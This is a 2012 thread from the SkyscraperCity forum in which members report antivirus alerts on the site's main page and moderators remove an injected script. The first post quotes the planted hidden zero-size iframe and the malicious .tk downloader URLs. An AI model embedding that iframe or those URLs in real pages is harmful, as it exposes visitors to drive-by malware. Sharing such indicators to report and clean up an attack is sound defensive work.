Ssc infected ?

Andre_L · March 25th, 2012, 04:28 PM

Hello, this started today, whenever i load the ssc main page i get a warning from my AV suite about

(i placed the raw report from my av inside the code tag to avoid someone accidentally clicking the link, dont paste them into your browser unless you want to get infected)

Code:

3/25/2012 2:03:06 PM	Firefox	Denied: Trojan-Downloader.JS.Expack.ia	Yes	http://rtetregfdf.tk/main.php?page=a9b483aad1a897fa//main

and

3/25/2012 1:56:48 PM	Firefox	Denied: http://vsuk.org.in/index.php?src=54&surl=rtetregfdf.tk&sport=80&suri=/main.php%3fpage=a9b483aad1a897fa (analysis using the database of suspicious URLs)	Yes	http://vsuk.org.in/index.php?src=54&surl=rtetregfdf.tk&sport=80&suri=/main.php%3fpage=a9b483aad1a897fa	URL found in the database

i am 100% this is not an issue on my end (like a virus, etc) i can take a screenshot and even record a small video of it happening if necessary...this IS coming from ssc, somewhere.

hopefully this is cleared up and looked into before users (possibly ?) get infected.

edit

you can find this in an iframe on line 2545 of the HTML code of the ssc main page

Code:

		<div class="smallfont">For those who enjoy big city traveling<iframe src="http://rtetregfdf.tk/main.php?page=a9b483aad1a897fa" width="0" height="0"></iframe></div>

Suburbanist · March 25th, 2012, 05:57 PM

Same here... Index page blocked by my anti-malware software.

RiSHi · March 25th, 2012, 07:39 PM

+1 ya same in my PC with avast anti virus .....

Uploaded with ImageShack.us

***DaiTengu*** · March 25th, 2012, 08:17 PM

got it. thanks guys.

Nexis · March 26th, 2012, 02:30 AM

I got that 2 days ago , it seems to be moving around the site....

***DaiTengu*** · March 26th, 2012, 08:09 AM

any links you find with it, please give them to me immediately.

mediar · March 26th, 2012, 07:23 PM

My Chrome a moment ago:

Code:

Unsafe JavaScript attempt to access frame with URL http://www.skyscrapercity.com/index.php from frame with URL http://trrtertd554.tk/main.php?page=a9b483aad1a897fa.

specialdj · March 26th, 2012, 07:26 PM

AVG also today, for the first time on SSC, told me that a threat has been blocked.

joshsam · March 26th, 2012, 07:28 PM

Yep have it on the main page right know, can't copy the link.

murlee · March 26th, 2012, 07:34 PM

Yes.. Its on the main page now. My Avast just now blocked it.

***DaiTengu*** · March 26th, 2012, 07:52 PM

damnit, I can't leave my house for 10 minutes :argh:

Marcanadian · March 26th, 2012, 07:52 PM

Just got it on the main page:

joshsam · March 26th, 2012, 07:54 PM

It's gone for me now. DaiTengu fixed it allready!

***DaiTengu*** · March 26th, 2012, 09:06 PM

Quote:

Originally Posted by joshsam

It's gone for me now. DaiTengu fixed it allready!

the task of finding out where the injection comes from in the first place is ... difficult

Kiboko · March 26th, 2012, 10:06 PM

I also got a trojan today after visiting the mainpage

Marcanadian · March 27th, 2012, 12:50 AM

Seems to be okay now. Thanks DaiTengu!

Ion Cannon · March 29th, 2012, 01:43 PM

Seems to be back on the main page again.

***Jan*** · March 29th, 2012, 03:01 PM

^ got it, thank for pointing out

hypnotoad · March 29th, 2012, 07:50 PM

My computer got infected some days ago and my antivirus couldn't
detect/clean it. I *think* that happened while I was browsing the SSC
pages, I'm not sure though. The virus didn't delete anything, all
it did was to set a different value to every single option in Windows 7,
resulting in a completely blank windows interface, where even windows
task manager couldn't be launched.

I got rid of that thing couple of
hours later, and after installing a new anti-malware program.

xJamaax · March 30th, 2012, 03:53 PM

I have been getting a pop up to open or save forumdisplay.php. I dont know whether this is a problem with SSC or my PC.

March 25th, 2012, 04:28 PM	#1
Andre_L Registered User Join Date: Jul 2010 Posts: 19 Likes (Received): 0	Ssc infected ? Hello, this started today, whenever i load the ssc main page i get a warning from my AV suite about (i placed the raw report from my av inside the code tag to avoid someone accidentally clicking the link, dont paste them into your browser unless you want to get infected) Code: 3/25/2012 2:03:06 PM Firefox Denied: Trojan-Downloader.JS.Expack.ia Yes http://rtetregfdf.tk/main.php?page=a9b483aad1a897fa//main and 3/25/2012 1:56:48 PM Firefox Denied: http://vsuk.org.in/index.php?src=54&surl=rtetregfdf.tk&sport=80&suri=/main.php%3fpage=a9b483aad1a897fa (analysis using the database of suspicious URLs) Yes http://vsuk.org.in/index.php?src=54&surl=rtetregfdf.tk&sport=80&suri=/main.php%3fpage=a9b483aad1a897fa URL found in the database i am 100% this is not an issue on my end (like a virus, etc) i can take a screenshot and even record a small video of it happening if necessary...this IS coming from ssc, somewhere. hopefully this is cleared up and looked into before users (possibly ?) get infected. edit you can find this in an iframe on line 2545 of the HTML code of the ssc main page Code: <div class="smallfont">For those who enjoy big city traveling<iframe src="http://rtetregfdf.tk/main.php?page=a9b483aad1a897fa" width="0" height="0"></iframe></div> Last edited by Andre_L; March 25th, 2012 at 05:09 PM.

March 25th, 2012, 05:57 PM	#2
Suburbanist SPQR Join Date: Dec 2009 Posts: 15,002 Likes (Received): 1163	Same here... Index page blocked by my anti-malware software. __________________ Dream of the year: a city without streets.

March 25th, 2012, 07:39 PM	#3
RiSHi Registered User Join Date: May 2008 Location: Raipur CG Posts: 160 Likes (Received): 15	+1 ya same in my PC with avast anti virus ..... Uploaded with ImageShack.us Uploaded with ImageShack.us __________________ http://www.flickr.com/photos/rishi-som Last edited by RiSHi; March 25th, 2012 at 07:45 PM.

March 25th, 2012, 08:17 PM	#4
*DaiTengu* Bastard Operator From Hell Join Date: Sep 2006 Location: Appleton Posts: 4,587 Likes (Received): 98	got it. thanks guys. __________________ Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so. - Douglas Adams Casual Discourse Forums \| H^2 - DaiTengu.com \| My Google+ page \| DaiTengu on Twitter

March 26th, 2012, 02:30 AM	#5
Nexis Greetings form New Jersey Join Date: Aug 2007 Location: Along the Pascack Valley line Posts: 4,382 Likes (Received): 171	I got that 2 days ago , it seems to be moving around the site.... __________________ My FLICKR Page http://www.flickr.com/photos/42178139@N06/ Check it out , i have Great Road , Rail , Cityscape and Nature Photos Check Out my Youtube Channel , lots of Regional Rail , Subway , Light Rail and Sim City 4 videos http://www.youtube.com/user/Nexis4Jersey

March 26th, 2012, 08:09 AM	#6
*DaiTengu* Bastard Operator From Hell Join Date: Sep 2006 Location: Appleton Posts: 4,587 Likes (Received): 98	any links you find with it, please give them to me immediately. __________________ Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so. - Douglas Adams Casual Discourse Forums \| H^2 - DaiTengu.com \| My Google+ page \| DaiTengu on Twitter

March 26th, 2012, 07:23 PM	#7
mediar Digital.Creation Join Date: Dec 2008 Location: Varna Posts: 2,704 Likes (Received): 174	My Chrome a moment ago: Code: Unsafe JavaScript attempt to access frame with URL http://www.skyscrapercity.com/index.php from frame with URL http://trrtertd554.tk/main.php?page=a9b483aad1a897fa. __________________ Mediar's Site When you're going to capture a video, FIRST TURN THE IMAGE STABILIZATION OFF!

March 26th, 2012, 07:26 PM	#8
specialdj Registered User Join Date: Jan 2007 Location: Belfort/Le Havre Posts: 136 Likes (Received): 2	AVG also today, for the first time on SSC, told me that a threat has been blocked.

March 26th, 2012, 07:28 PM	#9
joshsam Bokparty Join Date: Jul 2009 Location: Sint-Truiden Posts: 4,328 Likes (Received): 324	Yep have it on the main page right know, can't copy the link. __________________ *Be. Forum Meeting - Brussels* Morocco: Marrakech-Tensift-Al Haouz region- A small trip report Belgium's capital of fruit: Sint-Truiden

March 26th, 2012, 07:34 PM	#10
murlee ВANNED Join Date: Nov 2009 Location: Chennai Posts: 8,752 Likes (Received): 1320	Yes.. Its on the main page now. My Avast just now blocked it.

March 26th, 2012, 07:52 PM	#11
*DaiTengu* Bastard Operator From Hell Join Date: Sep 2006 Location: Appleton Posts: 4,587 Likes (Received): 98	damnit, I can't leave my house for 10 minutes :argh: __________________ Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so. - Douglas Adams Casual Discourse Forums \| H^2 - DaiTengu.com \| My Google+ page \| DaiTengu on Twitter

March 26th, 2012, 07:52 PM	#12
Marcanadian Registered User Join Date: May 2005 Location: Toronto Posts: 9,676 Likes (Received): 70	Just got it on the main page: __________________ Toronto - Southwest England - London - Chicago - Vancouver - Banff National Park - Montréal - Ottawa

March 26th, 2012, 07:54 PM	#13
joshsam Bokparty Join Date: Jul 2009 Location: Sint-Truiden Posts: 4,328 Likes (Received): 324	It's gone for me now. DaiTengu fixed it allready! __________________ *Be. Forum Meeting - Brussels* Morocco: Marrakech-Tensift-Al Haouz region- A small trip report Belgium's capital of fruit: Sint-Truiden

March 26th, 2012, 10:06 PM	#15
Kiboko hubba hubba Join Date: Nov 2011 Posts: 1,292	I also got a trojan today after visiting the mainpage __________________ Visit the Netherlands

March 27th, 2012, 12:50 AM	#16
Marcanadian Registered User Join Date: May 2005 Location: Toronto Posts: 9,676 Likes (Received): 70	Seems to be okay now. Thanks DaiTengu! __________________ Toronto - Southwest England - London - Chicago - Vancouver - Banff National Park - Montréal - Ottawa

March 29th, 2012, 01:43 PM	#17
Ion Cannon Registered User Join Date: Mar 2012 Posts: 165 Likes (Received): 3	Seems to be back on the main page again.

March 29th, 2012, 03:01 PM	#18
*Jan* High there, what's up! Join Date: Jul 2002 Location: Rotterdam Posts: 14,733 Likes (Received): 962	^ got it, thank for pointing out

March 29th, 2012, 07:50 PM	#19
hypnotoad █ ▇ ▃ ▁ ▄ ▅ █ Join Date: Dec 2010 Location: Ёνεиτ Ηοrιζōи Posts: 607 Likes (Received): 100	My computer got infected some days ago and my antivirus couldn't detect/clean it. I think that happened while I was browsing the SSC pages, I'm not sure though. The virus didn't delete anything, all it did was to set a different value to every single option in Windows 7, resulting in a completely blank windows interface, where even windows task manager couldn't be launched. I got rid of that thing couple of hours later, and after installing a new anti-malware program.

March 30th, 2012, 03:53 PM	#20
xJamaax Registered User Join Date: Apr 2010 Posts: 14,596	I have been getting a pop up to open or save forumdisplay.php. I dont know whether this is a problem with SSC or my PC.

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode